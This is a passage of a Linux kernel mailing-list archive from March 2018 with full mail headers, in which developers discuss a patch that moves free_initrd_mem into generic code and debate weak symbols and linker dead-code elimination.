	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=HZtoh7EqmLzZ5KJRQ2UHV8eDXQGsKWGgn41tsvrm3lI=; b=K+3j2Etg8RTyHc
	zBuYg0fP3Lc78GXQ9slNpjmULYxnFdqPrtAgaT5OVXJvtmXMiEJP5nfJ99of7yhtZOfaYhcx1dGwq
	aCjBwZTaGWY75hXn2PrWrFka9lTLExCjRjmDWd1L7SgYOzvSt8xE4yW6GGAM2Uc1U5o5ggTDNV1sb
	h4MjfQd+GGjuKtWVQNsL2v9D81osDQh3t/GOqQSv0O8DfY9iITZNiFVaEZDUoWy9RB8dsKy7alrEN
	XdH2SPRokP1fMVFIu8uqKe4yLQO50AzunD6QIoZ3a0qtRiJivivwPTsflCatFUiCDoo42oAL+S4x0
	4XO5KkMTf4SrdvQPjPdA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1LN4-0008FL-M5; Thu, 29 Mar 2018 00:24:50 +0000
Original-Received: from mail-pg0-x242.google.com ([2607:f8b0:400e:c05::242])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1LN1-0008Db-Er; Thu, 29 Mar 2018 00:24:49 +0000
Original-Received: by mail-pg0-x242.google.com with SMTP id f10so1906143pgs.9;
 Wed, 28 Mar 2018 17:24:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=date:from:to:cc:subject:message-id:in-reply-to:references
 :organization:mime-version:content-transfer-encoding;
 bh=1aHvF+/o9u7qLZBbapy+0C3MfWrHZUjomN2+wy/GqQs=;
 b=cBzpUlxeIz0yaLavx7VMt6I8SOXRgLDnHq7D+LU+Sm9aJsf1nrftAZylyALMLaIlrV
 M8Es6Lo9dutJiB6TWhne/BQJEaj1ORmgeDjPM5zalgx9GoZQu67HnMdaGNacQCouY2tk
 y31KehkJwkk4SUuElPYG8tBx2VmTI0v2+Z9WVNRrbb4ea6Wq77exe5UNTC4ZvGus9mTz
 ZuwVx2sKEz+USB+tAS1hXRzEnNCaIpJXbtMRLAYW1Q3sels8pV+GXGbaPwl+2dWX0CH5
 1iPC7R/AbznQ4dOuV07+dQW7Od+qz7TXIiebDDzai+y7r6nXeNnb7uVdnj7cNhPr/1ac
 /x7w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:in-reply-to
 :references:organization:mime-version:content-transfer-encoding;
 bh=1aHvF+/o9u7qLZBbapy+0C3MfWrHZUjomN2+wy/GqQs=;
 b=mPqRDRyLHaMzOHs/VZbOSSH8nKBcx3OPiHNew+mqumRBRmbyT54oCyc6cFzeLRyuNu
 z4ijxkHRiYx7o98L3Y3oAkgZNkvJWD07v5VRT8jLkTkryOq09Hq4k4xG7TveqDLxO44K
 irM2E45c7gNDoStSr3ewBBil1UNsjCzwfp4tQSFEKbdkwNsIguowPGMv2JCpj0hAbApr
 h49X5HBDdim/YaH45RwYDQRTSr04V9IS1QG3BiLNJ/dbvvZWTZUm3jPTKf03Tomngqez
 9B+9D5uQXJ4+PEnYxMsHFf72HIRrN0GRruTvt6XHfqoGOrPHdVHJiHOO63HGqR2mVmq0
 Hddg==
X-Gm-Message-State: AElRT7EHHbtch3XrMpiMulZyMV+4SuMM936N7i+GVeMtvvbPITeG2h1J
 Kj98K2Z6CwJb+zxmQMbs488=
X-Google-Smtp-Source: AIpwx48hzNQ+MLw+gacB7OdQlR82up9ybkIamX1AdwJfzQ5vwYP/k6rsD1tHrC2aq025xRP3mirpnA==
X-Received: by 10.99.135.199 with SMTP id i190mr3940018pge.2.1522283076292;
 Wed, 28 Mar 2018 17:24:36 -0700 (PDT)
Original-Received: from roar.ozlabs.ibm.com (59-102-70-78.tpgi.com.au. [59.102.70.78])
 by smtp.gmail.com with ESMTPSA id
 s4sm8189641pgp.29.2018.03.28.17.23.50
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Wed, 28 Mar 2018 17:24:35 -0700 (PDT)
In-Reply-To: <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
X-Mailer: Claws Mail 3.16.0 (GTK+ 2.24.32; x86_64-pc-linux-gnu)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_172447_503682_0B6446B7 
X-CRM114-Status: GOOD (  27.58  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:400e:c05:0:0:0:242 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (npiggin[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3702 gmane.linux.ports.mips.general:64277 gmane.linux.ports.sh.devel:56768 gmane.linux.kernel:2728039 gmane.linux.ports.ia64:28771 gmane.linux.ports.hexagon:1614 gmane.linux.kernel.metag:1739 gmane.linux.ports.arm.kernel:641581 gmane.linux.ports.parisc:28445 gmane.linux.ports.alpha:4901 gmane.linux.ports.sparc:27504 gmane.linux.uml.devel:16723 gmane.linux.uml.user:15406 gmane.linux.ports.ppc64.devel:155436
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3702>

On Thu, 29 Mar 2018 09:37:52 +1100
Oliver <oohall@gmail.com> wrote:

> On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
> <linux@armlinux.org.uk> wrote:
> > On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:  
> >>
> >>
> >> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:  
> >> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:  
> >> >> On 03/28/2018 10:26 AM, Shea Levy wrote:  
> >> >>> Now only those architectures that have custom initrd free requirements
> >> >>> need to define free_initrd_mem.  
> >> >> ...  
> >> >>> --- a/arch/arc/mm/init.c
> >> >>> +++ b/arch/arc/mm/init.c
> >> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> >> >>>  {
> >> >>>   free_initmem_default(-1);
> >> >>>  }
> >> >>> -
> >> >>> -#ifdef CONFIG_BLK_DEV_INITRD
> >> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> >> >>> -{
> >> >>> - free_reserved_area((void *)start, (void *)end, -1, "initrd");
> >> >>> -}
> >> >>> -#endif
> >> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> >> >>> index 3f972e83909b..19d1c5594e2d 100644
> >> >>> --- a/arch/arm/Kconfig
> >> >>> +++ b/arch/arm/Kconfig
> >> >>> @@ -47,6 +47,7 @@ config ARM
> >> >>>   select HARDIRQS_SW_RESEND
> >> >>>   select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> >> >>>   select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> >> >>> + select HAVE_ARCH_FREE_INITRD_MEM
> >> >>>   select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> >> >>>   select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> >> >>>   select HAVE_ARCH_MMAP_RND_BITS if MMU  
> >> >>
> >> >> Isn't this why weak symbols were invented?  
> >> >
> >> > Weak symbols means that we end up with both the weakly-referenced code
> >> > and the arch code in the kernel image.  That's fine if the weak code
> >> > is small.  
> >>
> >> The kernel's been able to build with link time garbage collection since 2016:
> >>
> >> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
> >>
> >> Wouldn't that remove the unused one?  
> >
> > Probably, if anyone bothered to use that, which they don't.
> >
> > LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> > what I can see, nothing selects it.  Therefore, the symbol is always
> > disabled, and so the feature never gets used in mainline kernels.
> >
> > Brings up the obvious question - why is it there if it's completely
> > unused?  (Maybe to cause confusion, and allowing a justification
> > for __weak ?)  

Well weak symbols have been used long before it was added.

> IIRC Nick had some patches to do the arch enablement for powerpc, but
> I'm not sure what happened to them though. I suspect it just fell down
> Nick's ever growing TODO list.

Yeah I had started some patches for powerpc and x86 that have ended up
on the back burner. There's been some MIPS people playing with it too.

For the kernel, LD_DEAD_CODE_DATA_ELIMINATION is not great. It can save
a little, but you get issues like any exception table entry or bug table
entry in a function will create a reference back to the function, so the
linker can't trim it away even if nothing else references it.

I'll try to take another look at it within the next few months and
remove it if I can't make progress.

Nicolas Pitre has been doing some much better work on dead code using
real LTO.

Thanks,
Nick

From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Wei Yang <richard.weiyang@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 09:12:10 +0800
Lines: 40
Approved: news@gmane.org
Message-ID: <20180329011210.GA4275@WeideMacBook-Pro.local>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <CAGXu5jLioqnOQniXuuNS=PjeAgJr1=BL78Cqu0cwu_Y5e-NDZA@mail.gmail.com>
Reply-To: Wei Yang <richard.weiyang@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522285847 14221 195.159.176.226 (29 Mar 2018 01:10:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 01:10:47 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 linux-sh <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfou
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 03:10:34 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from [198.137.202.133] (helo=bombadil.infradead.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1M5J-0003LK-KQ
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 03:10:33 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:Reply-To:List-Subscribe:List-Help:
	List-Post:List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:
	References:Message-ID:Subject:To:From:Date:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=QyAdBoaK/beNrWPszdFE0Y2uZrLVDr5lZcwBuSnac50=; b=NLuLAy/u0CmbeN
	aIlzRKiaqq4clImdUHd3ByvzJigiQ9pZXim6a/1ywrHz5gpVc68qZK0myeJwx8WhnYbxITwDJN2Ay
	gC/Xh6XOO2YlrMlE//qvWpFCdMhg7xrZ9uiTwTfe7i9/xmzhMh0pVFiPDsAspqliyomqe9iQXZqR1
	UoPY/Y2gMsKzKjPmu1RycJ2gFTigxBmnmK0qqUuBA/h4I+RN8WdBEuQfrjnaoGBb/UhvFUOETseb/
	ah63d4TX6rPaPtf0CJyiGb90B7VlbGS6AyrERyLhhIke72Ct3HP7vwIqsPpj9rE9QSU8guB2+PXCn
	fAsm9es/zOSDz3T+WeHQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1M7H-000463-JY; Thu, 29 Mar 2018 01:12:35 +0000
Original-Received: from mail-pf0-x244.google.com ([2607:f8b0:400e:c00::244])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1M7E-00044f-Cy; Thu, 29 Mar 2018 01:12:33 +0000
Original-Received: by mail-pf0-x244.google.com with SMTP id y66so2034444pfi.7;
 Wed, 28 Mar 2018 18:12:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=date:from:to:cc:subject:message-id:reply-to:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=GAsEAuA/4wkkmLXuWBTfZ4TahUKEhDVaSCN3DyLMjvE=;
 b=LHfXHTp7MzKRPDSPZV2kYbx9kEXh85Q7liv+TLSGpWcJRHzbAGkOQ1rGp6+aAJw0Rp
 IG/zdWQhG1oyyXQG7Pc1+oKUW4kakhfDbLxX9jzzrLDE783il+ILPeB7tr9dJjjZeM4D
 3kj27mWYweHChqDNKerEu27J5Gle6OdWMpEeOvU8+WXE7BzXwiurBn5CxcTwV83iHhTT
 oFp03ZQo+rdCpl5sRgN5wAEZN2a6e3K9YNiBc5kTu+/iFs0lj+WXLH4qlDG8KE949mcI
 Ih8lSjGSe2OEh3HjNmJePj0MxtgdTExA9ydLDH1VduifGwEuACk1aGIgMSVquaa3iN1o
 yTBA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:reply-to
 :references:mime-version:content-disposition:in-reply-to:user-agent;
 bh=GAsEAuA/4wkkmLXuWBTfZ4TahUKEhDVaSCN3DyLMjvE=;
 b=belqh4YYQSltwpjCUjIpfS6Pa6ple9mfwoI87pJhSYTC0w2oDMNpS2rZ4HG105jtdw
 rjK9HDGOlcb0mbVDQDL4xj9AID9Dl/nhqY4nPRF8zIqg0xAOouSzL43E3LeOiC2Wlefi
 Xi2YeIJgx6oc0lHPtZDNPcII2y7pTSkn9iPs6xQdpzvH7n87xMgFpPbYYUFV8SD1WZ5e
 rbxuoiS+YZSZr1yLujgOSXZQwU0J6CkyOFormw1hXhayla3H6sV6/p12SF09qImhiL5l
 pxph6snM65sTW0axBk+xIOAzsaTemolw8/UodZmVOTdG4pQUTDP5q8dDSgANJWNs8Rni
 3dhg==
X-Gm-Message-State: AElRT7EI9IiJI3lD+CIC1naTbu3HdqLdLSVxW8zUgiUoYsOPXAdlquDs
 Edzu0tpj4iaqHEwa6Jdud6VOc34zsrQ=
X-Google-Smtp-Source: AIpwx48kiM9+mVxnOH2o0IX/MD4L9mQM3AoMsbZywd49Q/fHuYkETWQP9/yuofvEraKatP6oLMPEPw==
X-Received: by 10.99.160.67 with SMTP id u3mr3948473pgn.389.1522285941447;
 Wed, 28 Mar 2018 18:12:21 -0700 (PDT)
Original-Received: from localhost ([185.92.221.13])
 by smtp.gmail.com with ESMTPSA id k70sm8579678pga.72.2018.03.28.18.12.18
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Wed, 28 Mar 2018 18:12:20 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAGXu5jLioqnOQniXuuNS=PjeAgJr1=BL78Cqu0cwu_Y5e-NDZA@mail.gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_181232_485626_E6C3A397 
X-CRM114-Status: GOOD (  12.99  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:400e:c00:0:0:0:244 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (richard.weiyang[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3703 gmane.linux.ports.mips.general:64278 gmane.linux.ports.sh.devel:56769 gmane.linux.kernel:2728058 gmane.linux.ports.ia64:28772 gmane.linux.ports.hexagon:1615 gmane.linux.kernel.metag:1740 gmane.linux.ports.arm.kernel:641585 gmane.linux.ports.parisc:28446 gmane.linux.ports.alpha:4902 gmane.linux.ports.sparc:27505 gmane.linux.uml.devel:16724 gmane.linux.uml.user:15407 gmane.linux.ports.ppc64.devel:155438
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3703>

On Wed, Mar 28, 2018 at 09:55:07AM -0700, Kees Cook wrote:
>On Wed, Mar 28, 2018 at 8:26 AM, Shea Levy <shea@shealevy.com> wrote:
>> Now only those architectures that have custom initrd free requirements
>> need to define free_initrd_mem.
>>
>> Signed-off-by: Shea Levy <shea@shealevy.com>
>
>Yay consolidation! :)
>
>> --- a/usr/Kconfig
>> +++ b/usr/Kconfig
>> @@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
>>         default ".lzma" if RD_LZMA
>>         default ".bz2"  if RD_BZIP2
>>         default ""
>> +
>> +config HAVE_ARCH_FREE_INITRD_MEM
>> +       bool
>> +       default n
>
>If you keep the Kconfig, you can leave off "default n", and I'd
>suggest adding a help section just to describe what the per-arch
>responsibilities are when select-ing the config. (See
>HAVE_ARCH_SECCOMP_FILTER for an example.)
>

One question about this change.

The original code would "select" HAVE_ARCH_FREE_INITRD_MEM on those arch.
After this change, we need to manually "select" this?

>-Kees
>
>-- 
>Kees Cook
>Pixel Security

-- 
Wei Yang
Help you, Help me

From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 13/16] parisc: Switch to generic free_initrd_mem.
Date: Thu, 29 Mar 2018 07:32:04 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20180329113207.30674-13-shea@shealevy.com>
References: <20180328203659.18692-1-shea@shealevy.com>
 <20180329113207.30674-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522323142 32040 195.159.176.226 (29 Mar 2018 11:32:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 11:32:22 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-riscv@lists.infradead.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 29 13:32:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1Vmu-00088A-8G
	for glk-linux-kernel-4@m.gmane.org; Thu, 29 Mar 2018 13:32:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752997AbeC2LeQ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 29 Mar 2018 07:34:16 -0400
Original-Received: from smtprelay0209.hostedemail.com ([216.40.44.209]:54060 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1753162AbeC2LdL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 29 Mar 2018 07:33:11 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay06.hostedemail.com (Postfix) with ESMTP id 09C3318224D97;
        Thu, 29 Mar 2018 11:33:11 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::,RULES_HIT:41:355:379:541:800:960:965:966:973:988:989:1260:1345:1359:1437:1534:1539:1567:1711:1714:1730:1747:1777:1792:1978:1981:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3865:3871:4321:4385:4390:4395:5007:6261:9592:10004:10848:11026:11473:11658:11914:12438:12555:12895:12986:13069:13161:13229:13311:13357:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:19,LUA_SUMMARY:none
X-HE-Tag: scene31_1badc361d8149
X-Filterd-Recvd-Size: 1445
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf11.hostedemail.com (Postfix) with ESMTPA;
        Thu, 29 Mar 2018 11:33:10 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180329113207.30674-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2728426 gmane.linux.ports.parisc:28447
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2728426>

The generic implementation is functionally identical.

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/parisc/mm/init.c | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..3643399230f3 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -932,10 +932,3 @@ void flush_tlb_all(void)
 	spin_unlock(&sid_lock);
 }
 #endif
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 16:27:49 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <20180329152749.GC16141@n2100.armlinux.org.uk>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522337245 30920 195.159.176.226 (29 Mar 2018 15:27:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 15:27:25 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, linux-cris-kernel@axis.com,
 Greg Kroah-Hartman <gregkh@linuxfou
To: Oliver <oohall@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 17:27:11 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
